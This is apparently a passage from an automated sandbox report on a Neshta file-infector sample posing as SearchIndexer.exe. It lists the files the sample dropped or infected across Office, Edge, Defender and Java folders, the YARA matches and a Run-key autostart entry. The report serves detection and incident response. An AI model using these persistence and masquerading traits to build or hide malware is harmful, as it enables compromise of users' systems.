                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXEJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\OtzUWFWF.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\cqPBhmEa.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exeJump to dropped file
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Windows\System32\SecurityHealthSystray.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Windows\svchost.comJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\aViTseNl.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\anplGAHn.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\OtzUWFWF.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\oJaATZbJ.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\VrnUzURu.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\MIUEPsLM.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\CaAofPGe.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\lSjJLcbQ.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\SBxdsXQA.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\zpVYYBvm.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\hctSEgaX.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\EcnWByLa.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\LabWdNFO.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\QNsVGKUC.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\SPfDctZy.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\zysYIoOi.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\wNNHBaEp.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\cqPBhmEa.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\BAeGeXTe.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\sRLquvOw.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\YAYKaqDh.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\QWQVqwoz.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\kpEaCKQF.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\WqYmKtXd.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\tHZIVhBi.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\iTuSlVGA.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\zAChyMGX.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\giPBeHvH.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\PbyWKVQt.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\DiJGaagK.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\csYLXLvO.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\rOKZjkQk.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\ZCiUQOvV.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\VMrdIRuc.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\uWHiFCKf.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\IniXRspB.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\oVvrynel.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\NfKwuYup.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\TYnVXEze.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\jzkKkMJA.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\yVVZwldW.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\MrGoJLyr.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\KyrFXOMt.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\YUdUknhP.logJump to dropped file

                              Boot Survival

                              barindex
                              Yara detected Neshta
                              Source: Yara matchFile source: SearchIndexer.exe, type: SAMPLE
                              Source: Yara matchFile source: 0.0.SearchIndexer.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000034.00000002.2186722542.0000000000409000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000002.2762934153.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: SearchIndexer.exe PID: 6636, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: svchost.com PID: 9192, type: MEMORYSTR
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Windows\svchost.com, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED
                              Creates an autostart registry key pointing to binary in C:\Windows
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tAVtSoJGTaCxrZiXcJnJump to behavior
                              Creates an undocumented autostart registry key
